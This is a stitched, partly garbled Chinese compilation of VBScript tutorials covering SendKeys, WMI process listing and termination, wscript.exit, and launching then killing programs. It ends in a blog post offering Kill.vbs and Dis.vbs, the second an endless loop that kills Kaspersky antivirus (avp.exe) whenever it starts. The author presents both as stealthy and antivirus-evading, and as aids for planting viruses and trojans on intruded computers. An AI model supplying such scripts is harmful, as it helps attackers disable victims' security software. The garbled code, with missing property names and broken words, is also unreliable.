两个简易VBS脚本结束进程与防止进程启动
- 格式:doc
- 大小:21.50 KB
- 文档页数:1
脚本实现自动按键盘的某个键过程是:按下F5间隔50毫秒松开F5间隔3000毫秒按下F5间隔50毫秒松开F5回到第一步批处理是不行的用VBS 很简单例子如下Set objShell = CreateObject("Wscript.Shell")doWScript.Sleep 3000objShell.SendKeys "{F5}"WScript.Sleep 3000objShell.SendKeys "{F5}"loop使用 SendKeys 方法可以将键击发送到无自动化界面的应用程序中。
多数键盘字符都可用一个键击表示。
某些键盘字符由多个键击组合而成(例如,CTRL+SHIFT+HOME)。
要发送单个键盘字符,请将字符本身作为 string 参数发送。
例如,要发送字母 x,则请发送 string 参数 "x"。
可使用 SendKeys 同时发送多个键击。
为此,可将每个键击按顺序排列在一起,以此来创建表示一系列键击的复合字符串参数。
例如,要发送键击 a、b 和 c,则需要发送字符串参数 "abc" 。
SendKeys 方法将某些字符用作字符的修饰符(而不使用其本身的含义)。
这组特殊的字符可包括圆括号、中括号、大括号,以及:加号"+"插入记号"^"百分号"%"和“非”符号"~"用大括号 "{}" 括起这些字符可以发送它们。
例如,要发送加号,请使用字符串参数 "{+}"。
SendKeys中使用的中括号 "[ ]" 无任何特殊含义,但是必须把它们括在大括号中,以便容纳确实要赋予其特殊含义的应用程序(例如,对于动态数据交换(DDE) 就是这样)。
要发送左中括号字符,请发送字符串参数 "{[}";要发送右中括号字符,请发送字符串参数 "{]}"。
⽤vbs实现的瞬间关闭多个系统进程的脚本程序试验环境为 windows xp_sp2,主要针对系统存在多个需要中断进程的情况下,瞬间成批中断进程。
复制代码代码如下:'----------------------------------------------------------------------------------On Error Resume nextSet fs=CreateObject("scripting.filesystemobject")Set os=CreateObject("wscript.shell")Set os0=createobject("shell.application")Set d0=CreateObject("scripting.dictionary")Set wmi=GetObject("winmgmts:\\.")Set pro_s=wmi.instancesof("win32_process")'-------------创建临时⽂本⽂件⽂件,把当前进程输⼊该⽂本⽂件之中并通过记事本打开之'---------同时把进程对应序号和 pid 传递给dictionary(d0)⼀份filename=fs.GetTempNameset f1=fs.CreateTextFile(filename,True)msg="序号"&vbTab&"名称"&vbTab&"PID"&vbTab&"程序⽂件"&vbtab&now&Chr(10)f1.Writeline(msg)n=1For Each p In pro_sf1.WriteLine(n&". "&&" , "&p.handle&" , "&mandline&Chr(10))d0.Add ""&n,Trim(p.handle)n=n+1Nextf1.Closeos0.MinimizeAllos.Exec "notepad.exe "&filenamewscript.sleep 500'--------------等待⽤户输⼊欲中断的进程相关的序号列,确定之后关闭并删除临时⽂本⽂件x=InputBox("请根据"&filename&"中的内容"+Chr(10)+ _"选择需要同时中断的进程对应序号:"+Chr(10)+ _"(序号之间⽤','间隔例如:'1,3,5,7,11')","选择")os.AppActivate filename&" - 记事本"os.SendKeys "%fx"WScript.Sleep 500fs.DeleteFile filename'--------如果⽤户取消了操作,就退出程序If x="" then wscript.quit'--------把⽤户输⼊的序号列中相关的序号传递给⼀个数组 xsxs=Split(x,",",-1,1)'-----------对⽤户输⼊的序号列进⾏校对,将重复序号标记为 -2,计算实际序号个数For i=0 to ubound(xs) '---利⽤双重循环将重复输⼊的内容保留⼀份,其他的标记为-1for n=0 to ubound(xs)if n=i thenn=n+1if n>ubound(xs) then exit forend ifif Trim(xs(n))=Trim(xs(i)) Or _Trim(xs(n))="" Thenxs(n)="-1"end IfnextNextw=0 '----把不真实可⽤的序号剔除并计算出其个数For i=0 To UBound(xs)If d0.Exists(xs(i))=False Thenxs(i)="-2"w=w+1End IfNextw=(UBound(xs)+1-w) '---得出可⽤的序号个数'------------如果序列中没有输⼊任何序号就退出程序If w=0 ThenMsgBox "需要中断的进程列表为空!"WScript.QuitEnd If'-------------根据⽤户输⼊信息中断相应进程m=0For i=0 To UBound(xs)If xs(i) <> "-2" then '---只有真实可⽤的序号才参与循环For Each p In pro_sIf Trim(p.handle)=trim(d0(xs(i))) Then '---如果进程pid号码正是需要中断的就尝试中断 p_name=pd=p.terminate()If pd=0 Then '---判断中断进程的尝试是否成功msg=p_name&" 进程中断成功!"m=m+1Elsemsg=p_name&" 进程中断失败!"End Ifos.popup msg,1,"通知",64+0End IfNextend ifNextos.popup w&"个⽬标进程,已经中断了"&m&"个" ,5,"通知",64+0WScript.quit。
一、概述wscript.exit 是一种用于终止 VBScript 脚本执行的语法。
在VBScript 中,当需要在脚本的任何位置结束执行时,可以使用该语法。
本文将对wscript.exit的语法、用法和相关注意事项进行详细介绍。
二、wscript.exit 的语法wscript.exit 语法非常简单,只需在脚本中使用该语句即可。
其基本语法如下:wscript.exit [errorCode]其中,errorCode 是一个可选参数,用于指定退出代码。
如果不提供该参数,则默认退出代码为0。
三、wscript.exit 的用法在 VBScript 脚本中,可以在任何需要终止执行的地方使用wscript.exit 语句。
当脚本执行到该语句时,立即终止执行,并返回到调用脚本的地方。
例如:Set wshShell = CreateObject("WScript.Shell")wshShell.Run "notepad.exe"wscript.exit上面的例子中,脚本执行到 wscript.exit 时,会立即终止执行,并返回到调用脚本的地方。
如果需要指定退出代码,可以在 wscript.exit 后面加上 errorCode 参数。
退出代码通常用于指示脚本执行的结果,一般约定如下:- 0 表示脚本执行成功- 非0 表示脚本执行失败,并指定了失败的原因四、wscript.exit 的相关注意事项使用 wscript.exit 时,需要注意以下几点:1. wscript.exit 只能用于VBScript脚本中,不能在其他类型的脚本或程序中使用。
2. 在使用wscript.exit 时,需要确保没有未完成的任务或资源未释放,以免造成不良影响。
3. 在使用退出代码时,应该遵循约定的规范,以便其他程序能够正确解析退出代码。
4. 在实际使用中,应该根据具体的需求和情况来决定是否使用退出代码。
查看文章DOS命令(利用VBS脚本)2009-12-19 12:17DOS命令(值得一看)这些命令又可分成三类:网络检测(如ping)、网络连接(如telnet)和网络配置(如netsh)。
前面两种相对简单,本文只介绍两个网络配置工具。
自带的关于网络的命令行工具很多,比如大家熟悉的ping,tracert,ipconfig,telnet,ftp,tftp,netstat,还有不太熟悉的nbtstat,pathping,nslookup,finger,route,netsh......这些命令又可分成三类:网络检测(如ping)、网络连接(如telnet)和网络配置(如netsh)。
前面两种相对简单,本文只介绍两个网络配置工具。
Windows脚本很多事用脚本来做是很简洁的。
下面给出几个常用脚本的echo版。
1,显示系统版本@echo for each ps in getobject _ >ps.vbs@echo("winmgmts://./root/cimv2:win32_operatingsystem").instances_ >>ps.vbs @echo wscript.echo ps.caption^&" "^&ps.version:next >>ps.vbscscript //nologo ps.vbs & del ps.vbs2,列举进程@echo for each ps in getobject _ >ps.vbs@echo ("winmgmts://./root/cimv2:win32_process").instances_ >>ps.vbs @echo wscript.echops.handle^&vbtab^&^&vbtab^&ps.executablepath:next >>ps.vbs cscript //nologo ps.vbs & del ps.vbs3,终止进程@echo for each ps in getobject _ >pk.vbs@echo ("winmgmts://./root/cimv2:win32_process").instances_ >>pk.vbs @echo if ps.handle=wscript.arguments(0) then wscript.echops.terminate:end if:next >>pk.vbs要终止PID为123的进程,使用如下语法:cscript pk.vbs 123如果显示一个0,表示终止成功。
脚本实现自动按键盘的某个键过程是:按下F5间隔50毫秒松开F5间隔3000毫秒按下F5间隔50毫秒松开F5回到第一步批处理是不行的用VB S 很简单例子如下Set objS hell= Cre ateOb ject("Wscr ipt.S hell")doWScr ipt.S leep3000objSh ell.S endKe ys "{F5}"WScri pt.Sl eep 3000o bjShe ll.Se ndKey s "{F5}" loop使用SendK eys 方法可以将键击发送到无自动化界面的应用程序中。
多数键盘字符都可用一个键击表示。
某些键盘字符由多个键击组合而成(例如,CTR L+SHI FT+HO ME)。
要发送单个键盘字符,请将字符本身作为 st ring参数发送。
例如,要发送字母x,则请发送 stri ng 参数 "x"。
可使用 Sen dKeys同时发送多个键击。
为此,可将每个键击按顺序排列在一起,以此来创建表示一系列键击的复合字符串参数。
例如,要发送键击 a、b和c,则需要发送字符串参数 "ab c" 。
S endKe ys 方法将某些字符用作字符的修饰符(而不使用其本身的含义)。
这组特殊的字符可包括圆括号、中括号、大括号,以及:加号 "+"插入记号 "^"百分号"%"和“非”符号 "~"用大括号 "{}" 括起这些字符可以发送它们。
vbs中实现启动两个应⽤程序,⼀直等到其中⼀个程序结束,然后关闭另⼀个?问:嗨,脚本专家!这是我想要完成的任务:我想要⽤⼀个脚本启动两个可执⾏⽂件。
第⼀个应⽤程序关闭后,我想让这个脚本关闭第⼆个应⽤程序,然后退出。
如何完成上述任务?-- MK答:您好,MK。
您知道,这是我们喜欢的那种类型的问题。
为什么?因为它听起来确实很复杂很棘⼿。
如果有⼈想找我们做什么事,我们就可以说“您知道,我正在尝试编写这样⼀个脚本:它能够启动两个应⽤程序,等到第⼀个关闭后,然后⾃动关闭第⼆个。
”然后他们肯定会说“噢,很抱歉。
很显然,你们很忙”,然后就不找我们了。
当然,他们不知道,这只是听起来很困难。
其实,它的难度也就相当于下⾯这个脚本⽽已:复制代码代码如下:strComputer = "."Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2:Win32_Process")errResult = objWMIService.Create("calc.exe", null, null, intCalcID)errResult = objWMIService.Create("notepad.exe", null, null, intNotepadID)Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")Set colProcesses = objWMIService.ExecNotificationQuery _("Select * From __InstanceDeletionEvent " _& "Within 1 Where TargetInstance ISA 'Win32_Process'")Do Until i = 999Set objProcess = colProcesses.NextEventIf objProcess.TargetInstance.ProcessID = intCalcID ThenExit DoEnd IfLoopSet colProcesses = objWMIService.ExecQuery _("Select * from Win32_Process Where ProcessID = " & intNotepadID)For Each objProcess in colProcessesobjProcess.Terminate()Next真的,请相信我们:您了解了脚本所完成的⼯作后,这其实就变得相当简单了。
两个简易VBS脚本结束进程与防止进程启动.txt如果青春的时光在闲散中度过,那么回忆岁月将是一场凄凉的悲剧。
杂草多的地方庄稼少,空话多的地方智慧少。
即使路上没有花朵,我仍可以欣赏荒芜。
两个简易VBS脚本结束进程与防止进程启动.
今天下午没课,躲进私人空间开始思考些问题。
在浏览VBS相关案例时,自己写了两个小程序出来,有Hack性质的(其实只要能“借刀杀人”,什么软件没黑客性质?- -!)。
Kill.vbs 用来在cmd下结束进程,Dis.vbs用来在窗口模式下防止某进程再次启动。
这两个VBS都不会被杀毒软件KILL掉,并且有一定的隐蔽性……看代码!('为注释)
Kill.vbs:复制内容到剪贴板代码:
for each ps in getobject _
("winmgmts:\\.\root\cimv2:win32_process").instances_ '涉及到WMI脚本入侵技术,我不能解释清楚!
if ps.handle=wscript.arguments(0) then '判断进程的PID号是否与获得的PID号参数相等
wscript.echo ps.terminate '如果相等就结束指定PID号对应的进程
end if
nextDis.vbs复制内容到剪贴板代码:
dim y,x '不要这行也行……
do '来个死循环……一直在判断!do ... loop内为循环体!
set y=getobject("winmgmts:\\.\root\cimv2") '和上面解释一样,这也是涉及到微软的WMI 技术!
set x=y.execquery("select * from win32_process where name='avp.exe'")
'查询语句,where后判断avp.exe(卡巴)是否存在进程中!
'这样当卡巴被上面的Kill.vbs结束时就再也启动不起来了。
除非,把Dis.vbs结束了先……for each i in x
i.terminate() '卡巴要启动马上就终止……
next
wscript.sleep
loop解释够清楚了,那就来看看这两个vbs是如何工作的吧。
我将Kill.vbs与Dis.vbs放在C盘根目录下。
打开cmd,输入cd\回到C盘根目录下,输入tasklist查看当前系统的进程情况,然后记下你想kill的进程的PID号,输入cscript Kill.vbs 2200即可结束PID为2200的进程了!假如这个进程是avp.exe,那你就可以输入Dis.vbs启动Dis.vbs来防止卡巴继续被启动。
Dis.vbs启动时仅在任务管理器的进程中有wscript.exe进程项,要是不结束这个进程是无法再次启动卡巴的。
懂得这些,为以后入侵他人电脑后上传病毒、木马之类的就更方便了一点点……上面的所有过程都经本人试验成功了,继续完善……。